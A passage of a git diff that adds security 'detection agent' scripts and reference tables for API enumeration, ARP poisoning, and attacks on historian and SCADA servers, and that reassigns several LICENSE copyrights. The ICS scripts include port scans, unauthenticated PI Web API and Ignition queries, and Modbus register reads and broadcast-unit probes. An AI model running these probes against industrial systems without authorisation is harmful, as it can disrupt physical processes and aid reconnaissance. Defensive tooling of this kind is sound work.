parser.add_argument("--modbus-host", help="Modbus device IP to scan") + parser.add_argument("--modbus-port", type=int, default=502, help="Modbus port") + parser.add_argument("--scan-host", help="Host to test ICS segmentation") + parser.add_argument("--historian-url", help="Process historian API URL") + parser.add_argument("--historian-key", help="Historian API key") + parser.add_argument("--output", help="Save report to JSON file") + args = parser.parse_args() + + report = run_audit(args) + if args.output: + with open(args.output, "w") as f: + json.dump(report, f, indent=2, default=str) + print(f"\n[+] Report saved to {args.output}") + + +if __name__ == "__main__": + main() diff --git a/skills/detecting-anomalous-authentication-patterns/LICENSE b/skills/detecting-anomalous-authentication-patterns/LICENSE index 27f5a0fe..09d37ad6 100644 --- a/skills/detecting-anomalous-authentication-patterns/LICENSE +++ b/skills/detecting-anomalous-authentication-patterns/LICENSE @@ -1,6 +1,6 @@ MIT License -Copyright (c) 2025 Anthropic Agent Skills Contributors +Copyright (c) 2025 Mahipal Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal diff --git a/skills/detecting-api-enumeration-attacks/LICENSE b/skills/detecting-api-enumeration-attacks/LICENSE index 27f5a0fe..09d37ad6 100644 --- a/skills/detecting-api-enumeration-attacks/LICENSE +++ b/skills/detecting-api-enumeration-attacks/LICENSE @@ -1,6 +1,6 @@ MIT License -Copyright (c) 2025 Anthropic Agent Skills Contributors +Copyright (c) 2025 Mahipal Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal diff --git a/skills/detecting-api-enumeration-attacks/references/api-reference.md b/skills/detecting-api-enumeration-attacks/references/api-reference.md new file mode 100644 index 00000000..f35f9465 --- /dev/null +++ b/skills/detecting-api-enumeration-attacks/references/api-reference.md @@ -0,0 +1,58 @@ +# API Enumeration Attack Detection — API Reference + +## Libraries + +| Library | Install | Purpose | +|---------|---------|---------| +| requests | `pip install requests` | WAF and SIEM API queries | + +## Detection Techniques + +| Technique | Indicator | Severity | +|-----------|-----------|----------| +| Sequential ID enumeration | /api/users/1, /api/users/2, ... | HIGH | +| Endpoint fuzzing | High 404 rate on /api/* paths | HIGH | +| Rate abuse | >50 API requests/minute from single IP | MEDIUM | +| Path discovery | Requests to /swagger, /api-docs, /graphql | HIGH | +| BOLA/IDOR probing | Access to other users' resource IDs | CRITICAL | + +## NGINX Combined Log Format + +``` +$remote_addr - $remote_user [$time_local] "$request" $status $body_bytes_sent "$http_referer" "$http_user_agent" +``` + +## Common Enumeration Paths + +| Pattern | Description | +|---------|-------------| +| `/api/v1/users/{id}` | User ID enumeration | +| `/api/v1/accounts/{uuid}` | Account UUID guessing | +| `/graphql?query={__schema}` | GraphQL introspection | +| `/swagger/v1/swagger.json` | API documentation discovery | +| `/api-docs`, `/.well-known` | Endpoint discovery | + +## WAF Rule Categories + +| Category | Description | +|----------|-------------| +| `rate-limit` | Request rate exceeds threshold | +| `api-abuse` | Automated API enumeration | +| `bola` | Broken Object Level Authorization | +| `scanner` | Known scanner/fuzzer user-agent | + +## OWASP API Security Top 10 + +| ID | Risk | +|----|------| +| API1 | Broken Object Level Authorization | +| API2 | Broken Authentication | +| API3 | Broken Object Property Level Auth | +| API4 | Unrestricted Resource Consumption | +| API5 | Broken Function Level Authorization | + +## External References + +- [OWASP API Security Top 10](https://owasp.org/API-Security/) +- [OWASP Testing Guide — API Testing](https://owasp.org/www-project-web-security-testing-guide/) +- [ModSecurity API Protection Rules](https://coreruleset.org/) diff --git a/skills/detecting-api-enumeration-attacks/scripts/agent.py b/skills/detecting-api-enumeration-attacks/scripts/agent.py new file mode 100644 index 00000000..28488d37 --- /dev/null +++ b/skills/detecting-api-enumeration-attacks/scripts/agent.py @@ -0,0 +1,196 @@ +#!/usr/bin/env python3 +"""API enumeration attack detection agent.""" + +import json +import sys +import argparse +import re +from datetime import datetime +from collections import defaultdict + +try: + import requests +except ImportError: + print("Install: pip install requests") + sys.exit(1) + + +ENUMERATION_PATTERNS = [ + re.compile(r"/api/v\d+/users/\d+", re.IGNORECASE), + re.compile(r"/api/v\d+/accounts/[a-f0-9-]+", re.IGNORECASE), + re.compile(r"/api/v\d+/orders/\d+", re.IGNORECASE), + re.compile(r"/graphql.*introspection", re.IGNORECASE), + re.compile(r"/(admin|internal|debug|swagger|api-docs)", re.IGNORECASE), +] + +SEQUENTIAL_THRESHOLD = 10 +RATE_THRESHOLD = 50 + + +def parse_access_log(log_path): + """Parse NGINX/Apache combined log format for API requests.""" + log_pattern = re.compile( + r'(\S+) \S+ \S+ \[([^\]]+)\] "(\S+) (\S+) \S+" (\d+) \d+' + ) + entries = [] + with open(log_path, "r") as f: + for line in f: + m = log_pattern.match(line) + if m: + entries.append({ + "ip": m.group(1), + "timestamp": m.group(2), + "method": m.group(3), + "path": m.group(4), + "status": int(m.group(5)), + }) + return entries + + +def detect_sequential_ids(entries): + """Detect sequential ID enumeration in API paths.""" + id_pattern = re.compile(r"/(\d+)(?:/|$|\?)") + ip_sequences = defaultdict(list) + for entry in entries: + m = id_pattern.search(entry["path"]) + if m: + ip_sequences[entry["ip"]].append(int(m.group(1))) + + findings = [] + for ip, ids in ip_sequences.items(): + if len(ids) < SEQUENTIAL_THRESHOLD: + continue + sorted_ids = sorted(ids) + sequential_count = sum(1 for i in range(1, len(sorted_ids)) + if sorted_ids[i] - sorted_ids[i-1] == 1) + if sequential_count >= SEQUENTIAL_THRESHOLD: + findings.append({ + "ip": ip, + "issue": f"Sequential ID enumeration detected ({sequential_count} sequential IDs)", + "severity": "HIGH", + "sample_ids": sorted_ids[:20], + "total_requests": len(ids), + }) + return findings + + +def detect_rate_anomalies(entries, window_seconds=60): + """Detect abnormal request rates per IP to API endpoints.""" + ip_counts = defaultdict(int) + ip_404s = defaultdict(int) + ip_401s = defaultdict(int) + for entry in entries: + if "/api/" in entry["path"]: + ip_counts[entry["ip"]] += 1 + if entry["status"] == 404: + ip_404s[entry["ip"]] += 1 + elif entry["status"] == 401: + ip_401s[entry["ip"]] += 1 + + findings = [] + for ip, count in ip_counts.items(): + if count > RATE_THRESHOLD: + findings.append({ + "ip": ip, + "issue": f"High API request rate ({count} requests)", + "severity": "MEDIUM", + "total_requests": count, + "404_count": ip_404s.get(ip, 0), + "401_count": ip_401s.get(ip, 0), + }) + if ip_404s.get(ip, 0) > 20: + findings.append({ + "ip": ip, + "issue": f"Excessive 404s on API ({ip_404s[ip]} not-found responses)", + "severity": "HIGH", + "detail": "Possible endpoint discovery/fuzzing", + }) + return findings + + +def detect_path_enumeration(entries): + """Detect API path/endpoint enumeration patterns.""" + ip_paths = defaultdict(set) + for entry in entries: + ip_paths[entry["ip"]].add(entry["path"].split("?")[0]) + + findings = [] + for ip, paths in ip_paths.items(): + for pattern in ENUMERATION_PATTERNS: + matched = [p for p in paths if pattern.search(p)] + if len(matched) > 5: + findings.append({ + "ip": ip, + "issue": f"Path enumeration pattern: {pattern.pattern}", + "severity": "HIGH", + "matched_paths": len(matched), + "samples": list(matched)[:5], + }) + return findings + + +def query_waf_logs(waf_url, api_key, hours=24): + """Query WAF API for blocked enumeration attempts.""" + headers = {"Authorization": f"Bearer {api_key}"} + try: + resp = requests.get(f"{waf_url}/api/v1/events", + params={"hours": hours, "rule_category": "api-abuse"}, + headers=headers, timeout=15) + resp.raise_for_status() + return resp.json().get("events", []) + except Exception as e: + return [{"error": str(e)}] + + +def run_audit(args): + """Execute API enumeration detection audit.""" + print(f"\n{'='*60}") + print(f" API ENUMERATION ATTACK DETECTION") + print(f" Generated: {datetime.utcnow().isoformat()} UTC") + print(f"{'='*60}\n") + + report = {} + + if args.log_file: + entries = parse_access_log(args.log_file) + report["total_log_entries"] = len(entries) + print(f"Parsed {len(entries)} log entries from {args.log_file}\n") + + seq_findings = detect_sequential_ids(entries) + report["sequential_id_findings"] = seq_findings + print(f"--- SEQUENTIAL ID ENUMERATION ({len(seq_findings)} findings) ---") + for f in seq_findings[:10]: + print(f" [{f['severity']}] {f['ip']}: {f['issue']}") + + rate_findings = detect_rate_anomalies(entries) + report["rate_findings"] = rate_findings + print(f"\n--- RATE ANOMALIES ({len(rate_findings)} findings) ---") + for f in rate_findings[:10]: + print(f" [{f['severity']}] {f['ip']}: {f['issue']}") + + path_findings = detect_path_enumeration(entries) + report["path_findings"] = path_findings + print(f"\n--- PATH ENUMERATION ({len(path_findings)} findings) ---") + for f in path_findings[:10]: + print(f" [{f['severity']}] {f['ip']}: {f['issue']}") + + return report + + +def main(): + parser = argparse.ArgumentParser(description="API Enumeration Detection Agent") + parser.add_argument("--log-file", help="Access log file to analyze") + parser.add_argument("--waf-url", help="WAF API URL for event queries") + parser.add_argument("--waf-key", help="WAF API key") + parser.add_argument("--output", help="Save report to JSON file") + args = parser.parse_args() + + report = run_audit(args) + if args.output: + with open(args.output, "w") as f: + json.dump(report, f, indent=2, default=str) + print(f"\n[+] Report saved to {args.output}") + + +if __name__ == "__main__": + main() diff --git a/skills/detecting-arp-poisoning-in-network-traffic/LICENSE b/skills/detecting-arp-poisoning-in-network-traffic/LICENSE index 27f5a0fe..09d37ad6 100644 --- a/skills/detecting-arp-poisoning-in-network-traffic/LICENSE +++ b/skills/detecting-arp-poisoning-in-network-traffic/LICENSE @@ -1,6 +1,6 @@ MIT License -Copyright (c) 2025 Anthropic Agent Skills Contributors +Copyright (c) 2025 Mahipal Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal diff --git a/skills/detecting-arp-poisoning-in-network-traffic/references/api-reference.md b/skills/detecting-arp-poisoning-in-network-traffic/references/api-reference.md new file mode 100644 index 00000000..2471a370 --- /dev/null +++ b/skills/detecting-arp-poisoning-in-network-traffic/references/api-reference.md @@ -0,0 +1,63 @@ +# ARP Poisoning Detection — API Reference + +## Libraries + +| Library | Install | Purpose | +|---------|---------|---------| +| scapy | `pip install scapy` | PCAP parsing and ARP packet analysis | + +## Scapy ARP Packet Fields + +| Field | Description | +|-------|-------------| +| `op` | Operation: 1=request, 2=reply | +| `hwsrc` | Source MAC address | +| `psrc` | Source IP address | +| `hwdst` | Destination MAC address | +| `pdst` | Destination IP address | + +## ARP Spoofing Indicators + +| Indicator | Description | Severity | +|-----------|-------------|----------| +| Duplicate MACs for IP | Same IP mapped to multiple MACs | CRITICAL | +| MAC claiming many IPs | One MAC responding for 3+ IPs | HIGH | +| Gratuitous ARP flood | Excessive unsolicited ARP replies | MEDIUM | +| ARP flip-flop | IP/MAC mapping changes rapidly | HIGH | + +## Scapy PCAP Analysis + +```python +from scapy.all import rdpcap, ARP +packets = rdpcap("capture.pcap") +arp_replies = [p for p in packets if ARP in p and p[ARP].op == 2] +``` + +## System ARP Table + +```bash +arp -a # Display ARP table +arp -d # Delete ARP entry +ip neigh show # Linux: show neighbor table +``` + +## arpwatch Database Format + +``` +\t\t\t +``` + +## Detection Tools + +| Tool | Description | +|------|-------------| +| arpwatch | Monitors ARP table changes, emails on flip-flop | +| arpsnitch | Real-time ARP spoofing alert | +| XArp | Advanced ARP spoofing detection | +| Snort rule | `alert arp any any -> any any (msg:"ARP spoof"; ...)` | + +## External References + +- [Scapy Documentation](https://scapy.readthedocs.io/) +- [arpwatch Manual](https://linux.die.net/man/8/arpwatch) +- [MITRE T1557.002 — ARP Cache Poisoning](https://attack.mitre.org/techniques/T1557/002/) diff --git a/skills/detecting-arp-poisoning-in-network-traffic/scripts/agent.py b/skills/detecting-arp-poisoning-in-network-traffic/scripts/agent.py new file mode 100644 index 00000000..a86a12d3 --- /dev/null +++ b/skills/detecting-arp-poisoning-in-network-traffic/scripts/agent.py @@ -0,0 +1,211 @@ +#!/usr/bin/env python3 +"""ARP poisoning detection agent for network traffic analysis.""" + +import json +import sys +import argparse +import subprocess +from datetime import datetime +from collections import defaultdict + +try: + from scapy.all import rdpcap, ARP, Ether +except ImportError: + rdpcap = None + + +def analyze_pcap_arp(pcap_path): + """Analyze PCAP file for ARP poisoning indicators.""" + if rdpcap is None: + return [{"error": "Install scapy: pip install scapy"}] + + packets = rdpcap(pcap_path) + arp_packets = [p for p in packets if ARP in p] + + ip_to_macs = defaultdict(set) + mac_to_ips = defaultdict(set) + gratuitous_arps = [] + arp_replies = [] + + for pkt in arp_packets: + arp = pkt[ARP] + if arp.op == 2: # ARP reply + ip_to_macs[arp.psrc].add(arp.hwsrc) + mac_to_ips[arp.hwsrc].add(arp.psrc) + arp_replies.append({ + "src_mac": arp.hwsrc, + "src_ip": arp.psrc, + "dst_mac": arp.hwdst, + "dst_ip": arp.pdst, + }) + if arp.op == 2 and arp.pdst == arp.psrc: + gratuitous_arps.append({ + "mac": arp.hwsrc, + "ip": arp.psrc, + }) + + return { + "total_arp_packets": len(arp_packets), + "arp_replies": len(arp_replies), + "gratuitous_arps": len(gratuitous_arps), + "ip_to_macs": {ip: list(macs) for ip, macs in ip_to_macs.items()}, + "mac_to_ips": {mac: list(ips) for mac, ips in mac_to_ips.items()}, + } + + +def detect_arp_spoofing(arp_data): + """Detect ARP spoofing from analyzed ARP traffic.""" + findings = [] + ip_to_macs = arp_data.get("ip_to_macs", {}) + mac_to_ips = arp_data.get("mac_to_ips", {}) + + for ip, macs in ip_to_macs.items(): + if len(macs) > 1: + findings.append({ + "indicator": "duplicate_mac_for_ip", + "ip": ip, + "macs": macs, + "issue": f"IP {ip} associated with {len(macs)} different MACs — ARP spoofing likely", + "severity": "CRITICAL", + }) + + for mac, ips in mac_to_ips.items(): + if len(ips) > 3: + findings.append({ + "indicator": "mac_claiming_many_ips", + "mac": mac, + "ips": ips, + "issue": f"MAC {mac} claims {len(ips)} IPs — possible ARP poisoning", + "severity": "HIGH", + }) + + if arp_data.get("gratuitous_arps", 0) > 10: + findings.append({ + "indicator": "excessive_gratuitous_arp", + "count": arp_data["gratuitous_arps"], + "issue": f"Excessive gratuitous ARPs ({arp_data['gratuitous_arps']}) — suspicious", + "severity": "MEDIUM", + }) + + return findings + + +def check_arp_table(): + """Read current system ARP table and check for duplicates.""" + try: + result = subprocess.run(["arp", "-a"], capture_output=True, text=True, timeout=10) + lines = result.stdout.strip().split("\n") + except Exception as e: + return {"error": str(e)} + + ip_mac_map = {} + duplicates = [] + for line in lines: + parts = line.split() + if len(parts) >= 3: + ip = parts[0].strip("()") + mac = parts[1] if ":" in parts[1] else (parts[3] if len(parts) > 3 and "-" in parts[3] else "") + if mac and ip in ip_mac_map and ip_mac_map[ip] != mac: + duplicates.append({ + "ip": ip, + "mac_1": ip_mac_map[ip], + "mac_2": mac, + "issue": "Duplicate IP with different MACs in ARP table", + "severity": "CRITICAL", + }) + if mac: + ip_mac_map[ip] = mac + + return {"entries": len(ip_mac_map), "duplicates": duplicates} + + +def check_arpwatch_log(log_path="/var/lib/arpwatch/arp.dat"): + """Parse arpwatch database for flip-flop entries.""" + entries = [] + try: + with open(log_path, "r") as f: + for line in f: + parts = line.strip().split("\t") + if len(parts) >= 3: + entries.append({ + "mac": parts[0], + "ip": parts[1], + "timestamp": parts[2] if len(parts) > 2 else "", + "hostname": parts[3] if len(parts) > 3 else "", + }) + except FileNotFoundError: + return {"error": f"arpwatch database not found at {log_path}"} + except Exception as e: + return {"error": str(e)} + + ip_history = defaultdict(list) + for e in entries: + ip_history[e["ip"]].append(e["mac"]) + + flip_flops = {ip: macs for ip, macs in ip_history.items() if len(set(macs)) > 1} + return {"total_entries": len(entries), "flip_flops": flip_flops} + + +def run_audit(args): + """Execute ARP poisoning detection audit.""" + print(f"\n{'='*60}") + print(f" ARP POISONING DETECTION AUDIT") + print(f" Generated: {datetime.utcnow().isoformat()} UTC") + print(f"{'='*60}\n") + + report = {} + + if args.pcap: + arp_data = analyze_pcap_arp(args.pcap) + report["arp_analysis"] = arp_data + print(f"--- ARP TRAFFIC ANALYSIS ---") + print(f" Total ARP packets: {arp_data.get('total_arp_packets', 0)}") + print(f" ARP replies: {arp_data.get('arp_replies', 0)}") + print(f" Gratuitous ARPs: {arp_data.get('gratuitous_arps', 0)}") + + findings = detect_arp_spoofing(arp_data) + report["findings"] = findings + print(f"\n--- SPOOFING FINDINGS ({len(findings)}) ---") + for f in findings: + print(f" [{f['severity']}] {f['issue']}") + + if args.check_table: + table = check_arp_table() + report["arp_table"] = table + print(f"\n--- SYSTEM ARP TABLE ---") + print(f" Entries: {table.get('entries', 0)}") + dups = table.get("duplicates", []) + if dups: + print(f" DUPLICATES FOUND: {len(dups)}") + for d in dups: + print(f" [{d['severity']}] {d['ip']}: {d['mac_1']} vs {d['mac_2']}") + + if args.arpwatch_db: + aw = check_arpwatch_log(args.arpwatch_db) + report["arpwatch"] = aw + print(f"\n--- ARPWATCH DATABASE ---") + ff = aw.get("flip_flops", {}) + print(f" Flip-flop entries: {len(ff)}") + for ip, macs in list(ff.items())[:10]: + print(f" {ip}: {macs}") + + return report + + +def main(): + parser = argparse.ArgumentParser(description="ARP Poisoning Detection Agent") + parser.add_argument("--pcap", help="PCAP file to analyze for ARP spoofing") + parser.add_argument("--check-table", action="store_true", help="Check system ARP table") + parser.add_argument("--arpwatch-db", help="Path to arpwatch database") + parser.add_argument("--output", help="Save report to JSON file") + args = parser.parse_args() + + report = run_audit(args) + if args.output: + with open(args.output, "w") as f: + json.dump(report, f, indent=2, default=str) + print(f"\n[+] Report saved to {args.output}") + + +if __name__ == "__main__": + main() diff --git a/skills/detecting-attacks-on-historian-servers/LICENSE b/skills/detecting-attacks-on-historian-servers/LICENSE index 27f5a0fe..09d37ad6 100644 --- a/skills/detecting-attacks-on-historian-servers/LICENSE +++ b/skills/detecting-attacks-on-historian-servers/LICENSE @@ -1,6 +1,6 @@ MIT License -Copyright (c) 2025 Anthropic Agent Skills Contributors +Copyright (c) 2025 Mahipal Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal diff --git a/skills/detecting-attacks-on-historian-servers/references/api-reference.md b/skills/detecting-attacks-on-historian-servers/references/api-reference.md new file mode 100644 index 00000000..e37d6b92 --- /dev/null +++ b/skills/detecting-attacks-on-historian-servers/references/api-reference.md @@ -0,0 +1,48 @@ +# Historian Server Attack Detection — API Reference + +## Common Historian Platforms + +| Platform | Vendor | Default Port | +|----------|--------|-------------| +| PI Data Archive | OSIsoft/AVEVA | 5457 | +| PI Web API | OSIsoft/AVEVA | 443/5459 | +| Wonderware Historian | AVEVA | 1433 (SQL) | +| FactoryTalk Historian | Rockwell | 1433 (SQL) | +| Ignition Gateway | Inductive Automation | 8088 | +| iFIX Historian | GE Digital | 5051 | + +## OSIsoft PI Web API Endpoints + +| Method | Endpoint | Description | +|--------|----------|-------------| +| GET | `/piwebapi/system` | System information and version | +| GET | `/piwebapi/points` | List PI data points | +| GET | `/piwebapi/streams/{webId}/value` | Get current point value | +| GET | `/piwebapi/streams/{webId}/recorded` | Get historical recorded values | +| GET | `/piwebapi/dataservers` | List configured data servers | + +## Ignition Gateway Endpoints + +| Endpoint | Description | +|----------|-------------| +| `/StatusPing` | Gateway health check | +| `/system/gwinfo` | Gateway system information | +| `/system/webdev` | Web development module | +| `/main/web/status` | Gateway status page | + +## Attack Indicators + +| Indicator | Description | Severity | +|-----------|-------------|----------| +| Anonymous API access | PI Web API accessible without auth | CRITICAL | +| Bulk data read | >10,000 points read in single session | CRITICAL | +| Brute force login | >5 failed logins from same IP | HIGH | +| Exposed gateway info | Ignition/PI info pages publicly accessible | HIGH | +| SQL injection on historian DB | Direct SQL queries to historian backend | CRITICAL | + +## External References + +- [OSIsoft PI Web API Reference](https://docs.aveva.com/bundle/pi-web-api-reference) +- [Ignition Gateway API](https://docs.inductiveautomation.com/docs/8.1/platform/gateway) +- [CISA ICS-CERT: Historian Security](https://www.cisa.gov/ics) +- [NIST SP 800-82 Rev 3](https://csrc.nist.gov/publications/detail/sp/800-82/rev-3/final) diff --git a/skills/detecting-attacks-on-historian-servers/scripts/agent.py b/skills/detecting-attacks-on-historian-servers/scripts/agent.py new file mode 100644 index 00000000..129af256 --- /dev/null +++ b/skills/detecting-attacks-on-historian-servers/scripts/agent.py @@ -0,0 +1,196 @@ +#!/usr/bin/env python3 +"""Historian server attack detection agent for ICS/SCADA environments.""" + +import json +import sys +import argparse +import socket +from datetime import datetime + +try: + import requests +except ImportError: + print("Install: pip install requests") + sys.exit(1) + + +HISTORIAN_PORTS = { + 5450: "OSIsoft PI AF", + 5457: "OSIsoft PI Data Archive", + 5459: "OSIsoft PI Web API", + 1433: "SQL Server (Wonderware/FactoryTalk)", + 3306: "MySQL (Ignition)", + 8088: "Ignition Gateway", + 443: "HTTPS (PI Web API / Ignition)", +} + + +def scan_historian_ports(host): + """Scan for exposed historian service ports.""" + results = [] + for port, service in HISTORIAN_PORTS.items(): + try: + sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) + sock.settimeout(3) + status = sock.connect_ex((host, port)) == 0 + sock.close() + result = {"host": host, "port": port, "service": service, "open": status} + if status: + result["finding"] = f"Historian port {port} ({service}) accessible" + result["severity"] = "HIGH" + results.append(result) + except socket.error: + pass + return results + + +def check_pi_web_api(host, username=None, password=None): + """Check OSIsoft PI Web API for authentication and configuration issues.""" + base = f"https://{host}/piwebapi" + auth = (username, password) if username else None + results = {"host": host, "checks": []} + + try: + resp = requests.get(f"{base}/system", auth=auth, verify=False, timeout=10) + if resp.status_code == 200: + data = resp.json() + results["product_version"] = data.get("ProductTitle", "") + results["checks"].append({ + "check": "PI Web API accessible", + "status": "PASS" if auth else "FAIL", + "detail": "Anonymous access enabled" if not auth and resp.status_code == 200 else "", + "severity": "CRITICAL" if not auth else "INFO", + }) + except requests.exceptions.ConnectionError: + results["checks"].append({"check": "PI Web API", "status": "UNREACHABLE"}) + except Exception as e: + results["error"] = str(e) + + try: + resp = requests.get(f"{base}/points", auth=auth, verify=False, + params={"maxCount": 10}, timeout=10) + if resp.status_code == 200: + points = resp.json().get("Items", []) + results["exposed_points"] = len(points) + results["sample_points"] = [p.get("Name", "") for p in points[:5]] + if not auth: + results["checks"].append({ + "check": "Point data accessible without auth", + "status": "FAIL", + "severity": "CRITICAL", + }) + except Exception: + pass + + return results + + +def check_ignition_gateway(host, port=8088): + """Check Inductive Automation Ignition gateway status.""" + results = {"host": host, "port": port} + try: + resp = requests.get(f"http://{host}:{port}/StatusPing", timeout=10) + if resp.status_code == 200: + results["gateway_accessible"] = True + results["response"] = resp.text[:200] + + resp2 = requests.get(f"http://{host}:{port}/system/gwinfo", timeout=10) + if resp2.status_code == 200: + results["gateway_info_exposed"] = True + results["finding"] = "Ignition gateway info page accessible" + results["severity"] = "HIGH" + except Exception as e: + results["error"] = str(e) + return results + + +def analyze_historian_logs(log_entries): + """Analyze historian access logs for attack indicators.""" + findings = [] + failed_logins = {} + bulk_reads = {} + + for entry in log_entries: + if entry.get("event_type") == "login_failed": + src = entry.get("src_ip", "") + failed_logins[src] = failed_logins.get(src, 0) + 1 + if entry.get("event_type") == "data_read" and entry.get("point_count", 0) > 1000: + src = entry.get("src_ip", "") + bulk_reads[src] = bulk_reads.get(src, 0) + entry["point_count"] + + for ip, count in failed_logins.items(): + if count > 5: + findings.append({ + "ip": ip, + "issue": f"Brute force attempt: {count} failed logins", + "severity": "HIGH", + }) + + for ip, points in bulk_reads.items(): + if points > 10000: + findings.append({ + "ip": ip, + "issue": f"Bulk data exfiltration: {points} points read", + "severity": "CRITICAL", + }) + + return findings + + +def run_audit(args): + """Execute historian server attack detection audit.""" + print(f"\n{'='*60}") + print(f" HISTORIAN SERVER ATTACK DETECTION") + print(f" Generated: {datetime.utcnow().isoformat()} UTC") + print(f"{'='*60}\n") + + report = {} + + if args.host: + port_scan = scan_historian_ports(args.host) + open_ports = [p for p in port_scan if p.get("open")] + report["port_scan"] = port_scan + print(f"--- HISTORIAN PORT SCAN ({args.host}) ---") + for p in open_ports: + print(f" [{p.get('severity','INFO')}] Port {p['port']}: {p['service']}") + if not open_ports: + print(" No historian ports detected") + + if args.pi_host: + pi = check_pi_web_api(args.pi_host, args.pi_user, args.pi_pass) + report["pi_web_api"] = pi + print(f"\n--- PI WEB API CHECK ---") + for c in pi.get("checks", []): + print(f" [{c.get('severity','INFO')}] {c['check']}: {c['status']}") + + if args.ignition_host: + ign = check_ignition_gateway(args.ignition_host, args.ignition_port or 8088) + report["ignition_gateway"] = ign + print(f"\n--- IGNITION GATEWAY CHECK ---") + print(f" Accessible: {ign.get('gateway_accessible', False)}") + if ign.get("finding"): + print(f" [{ign['severity']}] {ign['finding']}") + + return report + + +def main(): + parser = argparse.ArgumentParser(description="Historian Attack Detection Agent") + parser.add_argument("--host", help="Historian server to scan") + parser.add_argument("--pi-host", help="OSIsoft PI Web API host") + parser.add_argument("--pi-user", help="PI username") + parser.add_argument("--pi-pass", help="PI password") + parser.add_argument("--ignition-host", help="Ignition gateway host") + parser.add_argument("--ignition-port", type=int, default=8088) + parser.add_argument("--output", help="Save report to JSON file") + args = parser.parse_args() + + report = run_audit(args) + if args.output: + with open(args.output, "w") as f: + json.dump(report, f, indent=2, default=str) + print(f"\n[+] Report saved to {args.output}") + + +if __name__ == "__main__": + main() diff --git a/skills/detecting-attacks-on-scada-systems/LICENSE b/skills/detecting-attacks-on-scada-systems/LICENSE index 27f5a0fe..09d37ad6 100644 --- a/skills/detecting-attacks-on-scada-systems/LICENSE +++ b/skills/detecting-attacks-on-scada-systems/LICENSE @@ -1,6 +1,6 @@ MIT License -Copyright (c) 2025 Anthropic Agent Skills Contributors +Copyright (c) 2025 Mahipal Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal diff --git a/skills/detecting-attacks-on-scada-systems/references/api-reference.md b/skills/detecting-attacks-on-scada-systems/references/api-reference.md new file mode 100644 index 00000000..5d02164f --- /dev/null +++ b/skills/detecting-attacks-on-scada-systems/references/api-reference.md @@ -0,0 +1,54 @@ +# SCADA Attack Detection — API Reference + +## Libraries + +| Library | Install | Purpose | +|---------|---------|---------| +| pymodbus | `pip install pymodbus` | Modbus TCP client for PLC interaction | +| requests | `pip install requests` | SIEM and historian API queries | + +## Common SCADA Protocols and Ports + +| Port | Protocol | Vendor/Use | +|------|----------|------------| +| 502 | Modbus TCP | Universal PLC communication | +| 102 | S7comm (ISO-TSAP) | Siemens S7 PLCs | +| 44818 | EtherNet/IP CIP | Allen-Bradley / Rockwell | +| 20000 | DNP3 | Power grid, water systems | +| 4840 | OPC-UA | Universal ICS integration | +| 47808 | BACnet | Building automation | +| 34962 | PROFINET RT | Siemens distributed I/O | + +## Modbus Attack Indicators + +| Indicator | Description | Severity | +|-----------|-------------|----------| +| Broadcast unit ID (0/255) | Access to all devices simultaneously | CRITICAL | +| Write to coils from IT network | Unauthorized process control change | CRITICAL | +| Unusual function codes (8, 17, 43) | Diagnostic/recon commands | HIGH | +| Bulk register reads | Data exfiltration from PLC memory | MEDIUM | + +## S7comm Connection Request (COTP CR) + +| Field | Value | Description | +|-------|-------|-------------| +| TPKT version | 0x03 | ISO transport header | +| COTP PDU type | 0xe0 | Connection request | +| Source TSAP | 0x0100 | Client address | +| Destination TSAP | 0x0102 | PLC rack/slot | + +## MITRE ATT&CK for ICS + +| Technique | ID | Description | +|-----------|----|-------------| +| Point & Tag Identification | T0861 | Enumerate process data points | +| Unauthorized Command Message | T0855 | Send rogue commands to controller | +| Modify Controller Tasking | T0821 | Change PLC program logic | +| Denial of Service | T0814 | Disrupt SCADA communications | + +## External References + +- [pymodbus Documentation](https://pymodbus.readthedocs.io/) +- [MITRE ATT&CK for ICS](https://attack.mitre.org/matrices/ics/) +- [CISA ICS Advisories](https://www.cisa.gov/ics-advisories) +- [NIST SP 800-82 Rev 3](https://csrc.nist.gov/publications/detail/sp/800-82/rev-3/final) diff --git a/skills/detecting-attacks-on-scada-systems/scripts/agent.py b/skills/detecting-attacks-on-scada-systems/scripts/agent.py new file mode 100644 index 00000000..ebe60f0e --- /dev/null +++ b/skills/detecting-attacks-on-scada-systems/scripts/agent.py @@ -0,0 +1,211 @@ +#!/usr/bin/env python3 +"""SCADA system attack detection agent.""" + +import json +import sys +import argparse +import socket +import struct +from datetime import datetime + +try: + from pymodbus.client import ModbusTcpClient +except ImportError: + ModbusTcpClient = None + +try: + import requests +except ImportError: + print("Install: pip install requests") + sys.exit(1) + + +SCADA_PORTS = { + 502: ("Modbus TCP", "CRITICAL"), + 102: ("Siemens S7comm", "CRITICAL"), + 44818: ("EtherNet/IP CIP", "CRITICAL"), + 20000: ("DNP3", "CRITICAL"), + 4840: ("OPC-UA", "HIGH"), + 47808: ("BACnet", "HIGH"), + 2222: ("EtherNet/IP implicit", "HIGH"), + 1089: ("Foundation Fieldbus HSE", "MEDIUM"), + 34962: ("PROFINET RT", "HIGH"), +} + + +def scan_scada_services(host): + """Scan for exposed SCADA protocol ports.""" + results = [] + for port, (proto, severity) in SCADA_PORTS.items(): + try: + sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) + sock.settimeout(3) + if sock.connect_ex((host, port)) == 0: + results.append({ + "host": host, "port": port, "protocol": proto, + "accessible": True, "severity": severity, + "finding": f"{proto} service exposed on port {port}", + }) + sock.close() + except socket.error: + pass + return results + + +def detect_modbus_anomalies(host, port=502, unit_id=1): + """Detect Modbus protocol anomalies indicating attack.""" + if ModbusTcpClient is None: + return {"error": "Install pymodbus: pip install pymodbus"} + + client = ModbusTcpClient(host, port=port, timeout=10) + findings = [] + try: + if not client.connect(): + return {"error": "Connection failed"} + + rr = client.read_holding_registers(0, count=10, slave=unit_id) + if not rr.isError(): + findings.append({ + "check": "Read holding registers", + "status": "accessible", + "severity": "HIGH" if unit_id == 0 else "MEDIUM", + "detail": f"Registers 0-9 readable: {rr.registers}", + }) + + for test_unit in [0, 255]: + rr = client.read_holding_registers(0, count=1, slave=test_unit) + if not rr.isError(): + findings.append({ + 